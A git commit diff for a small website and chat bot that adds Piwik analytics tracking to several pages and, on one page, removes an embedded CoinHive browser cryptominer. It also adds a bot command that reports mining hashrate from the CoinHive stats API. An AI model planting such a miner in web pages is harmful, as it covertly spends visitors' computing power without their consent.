This commit is contained in:
Flummi 2017-10-20 08:39:41 +02:00
parent 99dabe81c6
commit d99a5874d6
5 changed files with 69 additions and 7 deletions

View File

@ -10,5 +10,18 @@
<a href="/">return to main</a> <span id="themes"></span> <a href="/">return to main</a> <span id="themes"></span>
</div> </div>
<script src="./s/theme.js"></script> <script src="./s/theme.js"></script>
<script>
var _paq = _paq || [];
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u="//observation.stasi.club/";
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
})();
</script>
<noscript><p><img src="//observation.stasi.club/piwik.php?idsite=1&rec=1" style="border:0;" alt="" /></p></noscript>
</body> </body>
</html> </html>

View File

@ -29,5 +29,18 @@
<a href="/">return to main</a> <span id="themes"></span> <a href="/">return to main</a> <span id="themes"></span>
</div> </div>
<script src="./s/theme.js"></script> <script src="./s/theme.js"></script>
<script>
var _paq = _paq || [];
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u="//observation.stasi.club/";
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
})();
</script>
<noscript><p><img src="//observation.stasi.club/piwik.php?idsite=1&rec=1" style="border:0;" alt="" /></p></noscript>
</body> </body>
</html> </html>

View File

@ -17,5 +17,18 @@
<script src="./s/scroller.js"></script> <script src="./s/scroller.js"></script>
<script src="./s/shit.js"></script> <script src="./s/shit.js"></script>
<script src="./s/theme.js"></script> <script src="./s/theme.js"></script>
<script>
var _paq = _paq || [];
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u="//observation.stasi.club/";
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
})();
</script>
<noscript><p><img src="//observation.stasi.club/piwik.php?idsite=1&rec=1" style="border:0;" alt="" /></p></noscript>
</body> </body>
</html> </html>

View File

@ -52,14 +52,18 @@
<script src="./s/shit.js"></script> <script src="./s/shit.js"></script>
<script src="./s/theme.js"></script> <script src="./s/theme.js"></script>
<script src="./s/plyr.js"></script> <script src="./s/plyr.js"></script>
<script src="//coin-hive.com/lib/coinhive.min.js"></script>
<script>plyr.setup( { autoplay: "false" } ); <script>plyr.setup( { autoplay: "false" } );
(new CoinHive.Anonymous('ZVrebnhYz9IYygu53a2jhMwGqZuhVlbK', { var _paq = _paq || [];
threads: 2, _paq.push(['trackPageView']);
autoThreads: false, _paq.push(['enableLinkTracking']);
throttle: 0.1, (function() {
forceASMJS: false var u="//observation.stasi.club/";
})).start(); _paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
})();
</script> </script>
<noscript><p><img src="//observation.stasi.club/piwik.php?idsite=1&rec=1" style="border:0;" alt="" /></p></noscript>
</body> </body>
</html> </html>

19
src/trigger/xmr.js Normal file
View File

@ -0,0 +1,19 @@
const request = require("request");
module.exports = (lib) => {
lib.trigger.add({
name: 'xmr',
call: /^!xmr/i,
level: 100,
active: 1,
func: (e) => {
request(`https://api.coin-hive.com/stats/site/f0ck?secret=${lib.cfg.main.xmrkey}`, (error, response, body) => {
if(!error) {
body = JSON.parse(body);
e.reply(`Hashes/s: ${body.hashesPerSecond} ; Total: ${body.hashesTotal}`);
}
});
},
desc: 'muh'
});
};